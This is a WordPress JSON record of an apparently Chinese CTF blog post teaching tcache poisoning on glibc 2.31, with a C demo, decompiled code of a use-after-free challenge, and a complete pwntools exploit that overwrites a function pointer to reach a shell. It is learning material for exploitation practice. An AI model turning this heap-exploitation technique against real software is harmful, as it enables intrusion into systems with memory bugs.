{"id":108,"date":"2026-04-27T22:28:25","date_gmt":"2026-04-27T14:28:25","guid":{"rendered":"http:\/\/39.106.187.170\/?p=108"},"modified":"2026-04-27T22:28:25","modified_gmt":"2026-04-27T14:28:25","slug":"%e3%80%90pwn%e3%80%91%e5%a0%86%e5%ad%a6%e4%b9%a0%e4%b9%8bglibc2-31%e4%b8%8b%e7%9a%84tcache%e6%8a%95%e6%af%92","status":"publish","type":"post","link":"http:\/\/39.106.187.170\/index.php\/2026\/04\/27\/%e3%80%90pwn%e3%80%91%e5%a0%86%e5%ad%a6%e4%b9%a0%e4%b9%8bglibc2-31%e4%b8%8b%e7%9a%84tcache%e6%8a%95%e6%af%92\/","title":{"rendered":"\u3010Pwn\u3011\u5806\u5b66\u4e60\u4e4bglibc2.31\u4e0b\u7684tcache\u6295\u6bd2"},"content":{"rendered":"\n

    0x1 tcache\u6295\u6bd2\u662f\u4ec0\u4e48<\/h3>\n\n\n\n

      \u00b7<\/strong> tcache\u6295\u6bd2\u7684\u672c\u8d28\u5c31\u662f\u628atcache\u5355\u94fe\u8868\u91cc\u7684next\u6307\u9488\u6539\u6210\u60f3\u8981\u7684\u5730\u5740\uff0c\u5229\u7528\u201c\u7a0b\u5e8f\u4ecetcache\u4e2d\u62ff\u53d6chunk\u65f6\u4f1a\u4f7fhead\u6307\u5411next\u4f7fnext\u6210\u4e3a\u65b0\u7684head\uff0c\u5728\u4e0b\u4e00\u6b21\u62ff\u53d6\u65f6\u628ahead\u6307\u5411\u7684\u5730\u5740\u4f5c\u4e3a\u53ef\u5199\u5165\u7a7a\u95f4\u8fd4\u56de\u201d\u7684\u673a\u5236\u5c06\u76ee\u6807\u5730\u5740\u8fd4\u56de\u5b9e\u73b0\u4efb\u610f\u5199\u7684\u624b\u6cd5\u3002\u6ce8\u610f\uff1a\u8fd4\u56de\u7684\u5730\u5740\u662f\u5c06\u76f4\u63a5\u7528\u4e8e\u5199\u5165\u7684\u5730\u5740\uff0c\u76f8\u5f53\u4e8e\u6b63\u5e38chunk\u7684user_data\uff0c\u6240\u4ee5\u5199\u5165\u76ee\u6807\u5730\u5740\u65f6\u4e0d\u9700\u8981-0x10\u3002<\/p>\n\n\n\n

    0x2 tcache\u6295\u6bd2\u5b9e\u4f8b<\/h3>\n\n\n\n

    \u00b7<\/strong> \u4f7f\u7528\u5982\u4e0b\u5b9e\u4f8b\uff1a<\/p>\n\n\n\n

#include <stdio.h> \n#include <stdlib.h> \n\nint main(){ \n        char *a = malloc(0x30); \n        char *b = malloc(0x30); \n\n        free(a); \n        free(b); \n\n        *(size_t *)b = 0x555555558600; \n\n        char *c = malloc(0x30); \n        char *d = malloc(0x30); \n}<\/code><\/pre>\n\n\n\n
    \u00b7<\/strong> \u4e24\u6b21free\u4e14\u76ee\u6807\u5730\u5740\u5199\u5165\u540e\u4e24\u4e2achunk\u7684\u72b6\u6001\uff1a<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
    \u00b7<\/strong> \u53ef\u4ee5\u770b\u5230b\u7684user_data+0x00\u5df2\u7ecf\u88ab\u5199\u4e3a\u4e86\u76ee\u6807\u5730\u5740\u3002\u4e0b\u9762\u7b2c\u4e00\u6b21malloc\u65f6\uff0cchunk_c\u4f1a\u6b63\u5e38\u5206\u914d\uff0chead\u4f1a\u6307\u5411chunk_b\u7684next\u5373\u6211\u4eec\u5199\u5165\u7684\u76ee\u6807\u5730\u5740\u5e76\u5c06\u5176\u4f5c\u4e3a\u65b0\u7684head\uff0c\u7b2c\u4e8c\u6b21malloc\u65f60x555555558600\u5c31\u4f1a\u88abtcache\u8bef\u8ba4\u6210\u4e00\u4e2a\u5408\u6cd5\u7684user_data\u5934\u4ece\u800c\u8fd4\u56de\u7ed9chunk_d\u3002\u5982\u56fe\u6240\u793a\uff08chunk_d\u5206\u914d\u540e\uff09\uff1a<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
    \u00b7<\/strong> \u53ef\u4ee5\u770b\u5230chunk_d\u6210\u529f\u5206\u914d\u5230\u4e86\u6211\u4eec\u4f2a\u9020\u7684\u5730\u5740\u3002\u6b64\u65f6\u82e5\u4f2a\u9020\u5730\u5740\u53ef\u5199\uff0c\u5c31\u53ef\u4ee5\u5229\u7528\u539f\u672c\u5411chunk_d\u5199\u5165\u7684\u51fd\u6570\u5bf9\u76ee\u6807\u5730\u5740\u8fdb\u884c\u5199\u64cd\u4f5c\u3002<\/p>\n\n\n\n
  0x3 \u4f8b\u9898<\/h3>\n\n\n\n
\u9898\u76ee\uff1ahttps:\/\/lochad-1396125149.cos.ap-beijing.myqcloud.com\/pwn_challanges\/heap\/glibc2.31\/TcacheUAF\/TcacheUAF.zip<\/p>\n\n\n\n
    0x1 \u4fdd\u62a4<\/h4>\n\n\n\n
    Arch:       amd64-64-little \n    RELRO:      Partial RELRO \n    Stack:      No canary found \n    NX:         NX enabled \n    PIE:        No PIE (0x3fe000) \n    RUNPATH:    b'.' \n    Stripped:   No<\/code><\/pre>\n\n\n\n
    0x2 \u4f2a\u7801<\/h4>\n\n\n\n
int __fastcall main(int argc, const char **argv, const char **envp)\n{\n  init(argc, argv, envp);\n  control = bye;\n  while ( 1 )\n  {\n    menu();\n    switch ( read_int() )\n    {\n      case 1:\n        add();\n        break;\n      case 2:\n        delete_chunk();\n        break;\n      case 3:\n        edit();\n        break;\n      case 4:\n        show();\n        break;\n      case 5:\n        trigger();\n        break;\n      case 6:\n        puts(\"bye\");\n        return 0;\n      default:\n        puts(\"invalid\");\n        break;\n    }\n  }\n}<\/code><\/pre>\n\n\n\n
int add()\n{\n  unsigned int v1; \/\/ [rsp+Ch] [rbp-4h]\n\n  printf(\"idx: \");\n  v1 = read_int();\n  if ( v1 >= 8 )\n    return puts(\"invalid\");\n  if ( chunks[v1] )\n    return puts(\"occupied\");\n  chunks[v1] = malloc(0x30uLL);\n  if ( !chunks[v1] )\n    exit(0);\n  printf(\"content: \");\n  read_n(chunks[v1], 0x30uLL);\n  return puts(\"done\");\n}<\/code><\/pre>\n\n\n\n
int delete_chunk()\n{\n  unsigned int v1; \/\/ [rsp+Ch] [rbp-4h]\n\n  printf(\"idx: \");\n  v1 = read_int();\n  if ( v1 >= 8 || !chunks[v1] )\n    return puts(\"invalid\");\n  free(chunks[v1]);\n  return puts(\"done\");\n}<\/code><\/pre>\n\n\n\n
int edit()\n{\n  unsigned int v1; \/\/ [rsp+Ch] [rbp-4h]\n\n  printf(\"idx: \");\n  v1 = read_int();\n  if ( v1 >= 8 || !chunks[v1] )\n    return puts(\"invalid\");\n  printf(\"content: \");\n  read_n(chunks[v1], 0x30uLL);\n  return puts(\"done\");\n}<\/code><\/pre>\n\n\n\n
int trigger()\n{\n  if ( control )\n    return control();\n  else\n    return puts(\"nothing happens\");\n}<\/code><\/pre>\n\n\n\n
    0x3 \u6f0f\u6d1e\u5206\u6790<\/h4>\n\n\n\n
    \u00b7<\/strong> \u7a0b\u5e8f\u6ca1\u6709UAF\u4fdd\u62a4\uff0c\u53ef\u4ee5\u76f4\u63a5\u5199free_chunk\u7684next\u6bb5\uff0c\u8fdb\u884ctcache\u6295\u6bd2\uff0c\u4ece\u800c\u628acontrol\u4f5c\u4e3a\u53ef\u5199\u5b57\u6bb5\u8fd4\u56de\uff0c\u518d\u5411control\u5199\u5165win()\u7684\u5730\u5740\uff0c\u6700\u540e\u8c03\u7528trigger()\u62ffshell\u3002<\/p>\n\n\n\n
    0x4 exp<\/h4>\n\n\n\n
from pwn import * \ncontext(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--no\nclose', '-e']) \n\nio = process('.\/pwn_patched') \n#io = remote() \n\n''' \nthink...\nmalloc() \nmalloc() \nfree(a) \nfree(b) \nb.next -> control \nmalloc() \nmalloc() -> control \ncontrol -> win\n''' \n\ncontrol = 0x4040e0 \nwin = 0x401303 \n\ndef memu(idx): \n    io.recvuntil('6. quit\\n> ') \n    io.sendline(idx) \n\ndef add(idx, data): \n    memu(str(1)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('content: ') \n    io.sendline(data) \n\ndef delete(idx): \n    memu(str(2)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n\ndef edit(idx, data): \n    memu(str(3)) \n    io.recvuntil('idx: ') \n    io.sendline(idx) \n    io.recvuntil('content: ') \n    io.sendline(data) \n\nadd(str(0), 'A'*0x30) \nadd(str(1), 'B'*0x30) \n\ndelete(str(0)) \ndelete(str(1)) \n\nedit(str(1), p64(control)) \n\nadd(str(2), 'C'*0x30) \nadd(str(3), 'D'*0x30) \n\npayload1  = p64(win) \npayload1 += b'\\0'*40 \nedit(str(3), payload1) \n\nmemu(str(5)) \n\nio.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
    0x1 tcache\u6295\u6bd2\u662f\u4ec0\u4e48   &nb\u2026<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"class_list":["post-108","post","type-post","status-publish","format-standard","hentry","category-heap2-31"],"_links":{"self":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/108","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/comments?post=108"}],"version-history":[{"count":1,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/108\/revisions"}],"predecessor-version":[{"id":113,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/108\/revisions\/113"}],"wp:attachment":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/media?parent=108"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/categories?post=108"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/tags?post=108"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}